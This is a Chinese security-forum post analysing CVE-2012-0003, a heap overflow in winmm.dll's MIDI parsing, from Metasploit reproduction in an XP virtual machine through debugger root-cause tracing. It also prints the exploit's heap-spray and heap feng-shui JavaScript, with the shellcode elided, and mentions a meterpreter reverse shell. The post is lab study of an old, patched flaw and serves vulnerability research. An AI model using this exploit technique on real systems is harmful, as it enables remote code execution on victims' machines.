首页
社区
课程
招聘
[原创]CVE-2012-0003漏洞分析(堆溢出
2020-1-24 16:17 9545

[原创]CVE-2012-0003漏洞分析(堆溢出

2020-1-24 16:17
9545

目录

01-漏洞描述

  • 漏洞战争:微软的多媒体库 winmm.dll 在处理 MIDI 文件时,由于对数据处理不当导致的堆溢出,攻击者可在网页中嵌入恶意构造的 MIDI 文件来远程执行任意代码。
  • https://cve.mitre.org:Unspecified vulnerability in winmm.dll in Windows Multimedia Library in Windows Media Player (WMP) in Microsoft Windows XP SP2 and SP3, Server 2003 SP2, Vista SP2, and Server 2008 SP2 allows remote attackers to execute arbitrary code via a crafted MIDI file, aka "MIDI Remote Code Execution Vulnerability."

02-测试环境

  • 目标系统:Windows XP SP3(虚拟机
  • OllyDebug:动态调试
  • IDA Pro:静态分析
  • IExplore 6、Media Player:漏洞软件
  • Metasploit:漏洞复现、利用
  • 辅助工具:wget-保存mid文件到本地、gflags.exe-开启/关闭hpa、

03-漏洞复现

  1. msf生成恶意文件

     # 搜索并使用模块
     msf5 > search cve-2012-0003
     msf5 > use exploit/windows/browser/ms12_004_midi
     # 设置payload
     msf5 exploit(windows/browser/ms12_004_midi) > set payload windows/exec
     # 设置payload参数,弹出计算器(exploit模块参数保持默认即可
     msf5 exploit(windows/browser/ms12_004_midi) > set cmd calc.exe
     # 攻击:开启服务器,等待目标连接
     msf5 exploit(windows/browser/ms12_004_midi) > exploit
     [*] Exploit running as background job 0.
     [*] Exploit completed, but no session was created.
     msf5 exploit(windows/browser/ms12_004_midi) >
     [*] Using URL: http://0.0.0.0:8080/uMMCLOKsr
     [*] Local IP: http://127.0.0.1:8080/uMMCLOKsr
     [*] Server started.
    
  2. 目标机器xp用IE浏览器打开此恶意URL,成功弹出计算器

    注意:若目标机器中对IE浏览器开启页堆,则IE会直接报错,不会弹出(默认页堆是关闭的

  3. msf中也得到相关记录

     [*] 192.168.156.151  ms12_004_midi - Request as: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
     [*] 192.168.156.151  ms12_004_midi - Sending html to 192.168.156.151:1184...
     [*] 192.168.156.151  ms12_004_midi - Request as: Windows-Media-Player/9.00.00.4503
     [*] 192.168.156.151  ms12_004_midi - Sending midi corruption file...
    
  4. PS:也可设置payload为强大的meterpreter,获取反弹shell

04-准备工作

4.1-提取样本

  1. 页堆关闭情况下,计算器会弹出,但IE窗口会马上关闭,来不及提取html

    故先将页堆开启,使其弹出报错框,而不至于让IE关闭。

     C:\Program Files\Debugging Tools for Windows (x86)>gflags.exe -i IExplore.exe +hpa
     Current Registry Settings for IExplore.exe executable are: 02000000
         hpa - Enable page heap
    
  2. 右键-查看源文件,将内容复制并保存为“exploit.html”

    image-20200120164118860

  3. html中搜索”mid“,找到相关媒体文件,IE中打开其地址,会默认打开media player,鼓捣一番,发现并不能保存到本地

    image-20200120164553668

  4. 使用wget会直接404错误,而msf中也会提示未知的UA头

    image-20200120164932911

  5. 通过--user-agent参数,借用一下IE浏览器的UA头,成功下载

    最终命令为:wget --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" http://127.0.0.1:8080/uMMCLOKsr/ojGEs.mid

    image-20200120170403958

  6. 修改html中mid路径为相对路径,将二者放置同一目录,搭建本地环境以方便测试。

    image-20200120171038366

4.2-MIDI格式

  • MIDI文件由若干块组成,两种块:头块和音轨块

  • 每个块 = 标记 + 长度 + 数据,标记与长度均占4字节,格式如下:

    image-20200123121218589

  • 头块中的块数据主要包含:格式类型、音轨数和时间计数值

    image-20200123121444591

  • 音轨块中的块数据便是音轨事件数据,常见的音轨事件如下

    image-20200123121543841

4.3-堆调试技巧

  • 堆管理器中提供一些调试选项用于辅助堆调试,通过 Windbg 提供的 gflags. exe或者!gflag 命令来设置,常见调试选项如下

    • htc:堆尾检查,在堆块末尾附加额外的标记信息(通常为 8 字节),用于检査堆块是否发生溢出。
    • hfc:堆释放检查,在释放堆块时对堆进行各种检査,防止多次释放同一个堆块。
    • hpc:堆参数检査,对传递给堆管理的参数进行更多的检查。
    • ust:用户态栈回湖,即将每次调用堆函数的函数调用信息记录到一个数据库中。
    • htg:堆标志,为堆块增加附加标记,以记录堆块的使用情况或其他信息。
    • hvc:调用时验证,即每次调用堆函数时都对整个堆进行验证和检査
    • hpa:启用页堆,在堆块后增加专门用于检测溢出的栅栏页,若发生堆溢出触及栅栏页便会立刻触发异常。
  • 堆尾检查

    • 在每个堆块的尾部添加 8 字节内容,若该数据被破坏就说明可能存在堆溢出。
    • 要检测尾部数据是否被破坏,还需要开启堆参数检查hpc 或堆释放检查hfe
    • 用调试器直接打开目标进程,而非附加方式(附加方式无法在堆尾添加额外信息,也就无法进行堆尾检查)
    • 开启堆尾检查和堆参数检査:!gflag +htc +hpc
  • 页堆机制

    • 调试漏洞时,需要定位到导致漏洞的代码
    • 堆尾检査方式主要是堆被破坏后的场景,不利于定位导致漏洞的代码。
    • 开启页堆机制后,堆管理器会在堆块中增加不可访问的栅栏页,当溢出覆盖到栅栏页时就立即触发异常

05-漏洞成因

基于导图推算的漏洞分析方法

  1. 为方便调试:gflags.exe开启页堆、关闭OD的”忽略异常“相关选项

    image-20200122115206448

    image-20200122115227100

    image-20200122115245944

  2. OD附加IE浏览器,拖入/打开exploit.html,产生访问异常,此处便是崩溃点

    image-20200122115410646

  3. IDA中打开目标模块winmm.dll(需加载相应的符号文件),找到崩溃点所在地址,F5查看伪C代码,得知引起崩溃的是v25(对其解引用造成的)

    image-20200122115649819

  4. 借助IDA中伪C代码,对v25变量进行追溯,最终找到参数a1(在线绘图:https://www.draw.io)

    image-20200124113602071

  5. 仅通过上述各变量间的联系,暂未发现有价值的信息,现对各变量设置条件记录断点,观察各变量值变化如何

    找到能够准确反映变量值的位置,如下表所示:

    | 变量 | C代码 | 汇编指令 | 记录值 | 地址 |
    | ------ | ---------------------------- | ----------------------------- | ------ | -------- |
    | v1 | v2 = (_DWORD )(v1 + 60); | mov esi, [edi+3Ch] | edi | 76B2D050 |
    | v2 | v3 = (_DWORD )v2; | mov ecx, [esi] | esi | 76B2D06D |
    | v9 | v11 = (_DWORD )(v9 + v37); | mov ecx, [ebx+eax] | ebx | 76B2D0B5 |
    | V11 | v13 = v11 & 0xFFFFFF; | and ecx, 0FFFFFFh | ecx | 76B2D0C3 |
    | V13 | v35 = v13; | mov [ebp+var_8], ecx | ecx | 76B2D0D1 |
    | V20 | v29 = (_BYTE )(v24 + v20); | lea edx, [eax+esi] | esi | 76B2D248 |
    | V21 | v36 = v21 & 0xF0; | and dl, 0F0h | dl | 76B2D1F3 |
    | V24 | v25 = (char
    )(v24 + v20); | add esi, eax | eax | 76B2D21E |
    | 参数a1 | if ( !(_DWORD )(a1 + 52) ) | cmp dword ptr [edi+34h], 0 | edi | 76B2D044 |

  6. ctrl+g到指定的位置,shift+F4下条件记录断点(暂停程序-从不、记录表达数值-永远)

    image-20200123114834965

    最终设置的断点如下

    image-20200123115410150

  7. ctrl+F2重新运行,alt+L打开日志窗口,得到如下信息:

    image-20200123115637787

  8. 观察各变量,寻找规律

    • 参数a1=v1不变、v2不变
    • v9递增,增到0x44重新开始
    • v11=v13
    • v21等于v11/v13最低位
  9. 触发访问异常时,v11=v13=0073B29F,v21=9F,由上述MIDI格式所言,0x9n为”打开音符“的音轨类型。

    由此可推断,v11/13为包含参数的音轨事件,v21为具体的音轨事件类型

    打开上述提取到的mid文件,也可证实这一点

    image-20200123122022089

  10. shift+F2对v11/13下条件断点,当音轨事件为0073B29F时断下,单步跟踪,详细分析

    通过“打开音符”音轨事件计算出偏移0x419,esi中存储的是某基址,基址+偏移后越界,解引用后造成访问异常

    image-20200123125833593

  11. 继续追踪esi中的基址,IDA中提示为v20局部变量,追根溯源找到参数a1

    v20来自v1:v20 = *(_DWORD *)(v1 + 132);

    v1来自参数a1:v1 = wParam;

    image-20200123130305451

  12. 光标移至函数名,右键-jump to xref,查看何处调用此函数,从而找到传的参数

    image-20200124113811423

    参数wParam来自midiOutPlayNextPolyEvent函数内的局部变量v6,而v6来自gpEmuList

    image-20200124113918189

  13. 查看gpEmuList的引用情况,看“up”方向,w-写操作的,最终找到mesOpen函数

    image-20200124114006619

    mesOpen内部又调用了winmmAlloc函数

    image-20200124114129683

    其正是一个堆空间分配函数

    image-20200124114301483

  14. 综上所述,做一下变量等价替换,最终得到:esi指向申请的400字节堆空间

     esi = v20; 
     v20 = *(_DWORD *)(v1 + 132);
     ==> esi = *(_DWORD *)(v1 + 132);
     v1 = wParam = gpEmuList;
     ==> esi = *(_DWORD *)(gpEmuList + 132);
     gpEmuList = v5;
     ==> esi = *(_DWORD *)(v5 + 132);
     *((_DWORD *)v5 + 132) = v6;
     ==> esi = v6;
     v6 = winmmAlloc(0x400u);
     ==> esi = winmmAlloc(0x400u);
     ==> esi指向申请的400字节堆空间
    
  15. 至此,就能够清晰的看到漏洞是如何形成的:

    1. HeapAlloc函数申请0x400字节的堆空间,将堆基址赋值给esi
    2. 程序在处理”打开音符“事件时,计算得到偏移0x419
    3. 偏移0x419 > 堆空间大小0x400,最终导致堆块的越界访问,产生漏洞

PS:此处之所以将其归为堆溢出,而非数组越界索引,是因为它是向固定堆块大小之外的地方执行写操作,而且不存在索引数组的动作,这与堆溢出类似,所以将该漏洞定性为堆溢出也算合理。(摘自《漏洞战争》

06-漏洞利用

  1. 从exploit.html中提取出关键js代码,共有三部分

    (PS:精简过只留大体框架、堆喷射部分并非本文重点

     // 第一部分:进行堆喷射
     <script language='javascript'>
     var heap_obj = new heapLib.ie(0x10000);
     var code = unescape("xxxxxxxxxxxxxxxx");
     var ORF = "%u0c0c%u0c0c";
     var nops = unescape(ORF);
    
     while (nops.length < 0x1000) nops+= nops;
     var shellcode =  nops.substring(0,0x800 - code.length) + code;
     while (shellcode.length < 0x40000) shellcode += shellcode;
    
     var block = shellcode.substring(0, (0x80000-6)/2);
     heap_obj.gc();
     for (var i=0; i < 600; i++) {
       heap_obj.alloc(block);
     }
     </script>
    
     // 第二部分:漏洞利用的关键部分
     <script language='javascript'>
     var heap = new heapLib.ie();
     var selob = document.createElement("select")
     selob.w0 = unescape("%u0c0c%u0c0c")
     selob.w1 = alert
     ...
     selob.w55 = alert
    
     var clones = new Array(1000);
    
     function feng_shui() {
    
       var i = 0;
       while (i < 1000) {
         clones[i] = selob.cloneNode(true)
         i = i + 1;
       }
    
       var j = 0;
       while (j < 1000) {
         delete clones[j];
         CollectGarbage();
         j  = j + 2;
       }
     }
    
     feng_shui();
    
     function trigger(){
       var k = 999;
       while (k > 0) {
         if (typeof(clones[k].w0) == "string") {
         } else {
           clones[k].w0('come on!');
         }
         k = k - 2;
       }
       feng_shui();
       document.audio.Play();
     }
     </script>
    
     // 第三部分:调用trigger函数,也是关键
     <script for=audio event=PlayStateChange(oldState,newState)>
       if (oldState == 3 && newState == 0) {
         trigger();
       }
     </script>
    
  2. 第二段js代码分析:

    1. 创建一个 select 元素,并设置 56 个属性:只有 w0 为 String 类型,其余为 Object 类型;
    2. 创建一个1000大小的数组 clones
    3. 调用feng_shui函数:cloneNode 循环复制selob到数组 clones 中、间隔地释放 clones 数组中的元素
  3. 每个属性类型的定义,在内存均用不同的数值表示,比如 0x09 代表 Object,0x08 代表 String

    image-20200124141010461

  4. 找到分配空间与释放空间的地方,以便设置条件记录断点

    分配:CAttrArray::Clone函数

    image-20200124124541997

    释放:CImplAry::Delete函数

    image-20200124125008678

  5. 漏洞利用思想:1000个元素的数组,经过间隔释放后,会留有许多间隙,当目标程序在处理音轨事件时,会调用winmmAlloc函数来申请堆空间(如上漏洞成因所言),新申请的堆空间会“插空“,刚好占在被释放的元素位置上,这样其左右两侧均是数组元素,若对此堆空间进行操作,使之产生溢出,则会影响两侧的数据,进而控制程序实施恶意操作。

  6. 找到申请堆空间的地方,以便获取堆空间地址,如下eax作为函数返回值便是。

    image-20200124120452736

  7. 在数组元素分配、释放以及堆空间申请的地方设置条件记录断点,来验证漏洞利用思想是否正确,除此之外,在崩溃点也设置断点(一般断点),以便进行下一步的调试(为避免程序被异常中断,先关闭页堆机制)

     // 条件记录断点
     0x76B2CDEE: 记录eax: 堆空间地址;
     0x7E38E80D: 记录[eax+4]; 数组元素分配地址
     0x7E279860: 记录[esi+4]; 数组元素释放地址
    

    image-20200124134030679

  8. alt+T查看日志消息,如上所言,新申请的堆空间实现了“插空“(占在刚释放的数组元素上),地址为0x02B174F0

     地址       消息
     ...
     7E38E80D   COND: Array Alloc = 02B174F0
     ...
     7E279860   COND: Array Free = 02B174F0
     ...
     76B2CDEE   COND: VulBuffer Alloc = 02B174F0
     ...
    
  9. 到达崩溃点时,esi指向0x08,即w0属性String

    image-20200124141230272

  10. 后续在处理NoteOn事件时,会将读取的字节+1并重新写入,0x08+1 = 0x09,由string类型变为Object类型,此时其字符串"0x0c0c0c0c"也会作为指针/地址解析(典型的堆喷射地址)

    image-20200124141520627

  11. 第三段js代码分析

    1. 调用trigger函数
    2. 遍历数组元素,若其属性不是String(即Object),则执行clones[k].w0('come on!');
    3. 此语句会调用 CAttrValue::GetIntoVariant 函数
  12. 属性非String时,会调用CAttrValue::GetIntoVariant 函数,此函数会获取虚表指针、调用虚函数,从而控制程序执行流程

    image-20200124143956292

  13. 执行到“获取虚表指针”指令处,虚表指针正是w0的字符串“0x0c0c0c0c”,此时其作为指针解析(堆喷射地址)

    image-20200124144402834

  14. 接下来调用虚函数,call地址为0c0c0c0c,进入布置好的堆空间,经过滑块指令到达shellcode,成功执行,漏洞利用成功!

    image-20200124144711946

07-参考文献

  • 《漏洞战争》

(祝大家新年快乐、身体健康,肺炎疫情赶紧过去!


[培训]《安卓高级研修班(网课)》月薪三万计划,掌 握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2020-2-19 15:49 被21Gun5编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (1)
雪    币: 47
活跃值: (18)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
叶小羽 2020-3-31 11:54
2
0
请问下,如何查看selob在内存中的内容,这个内存地址是如何定位的?
游客
登录 | 注册 方可回帖
返回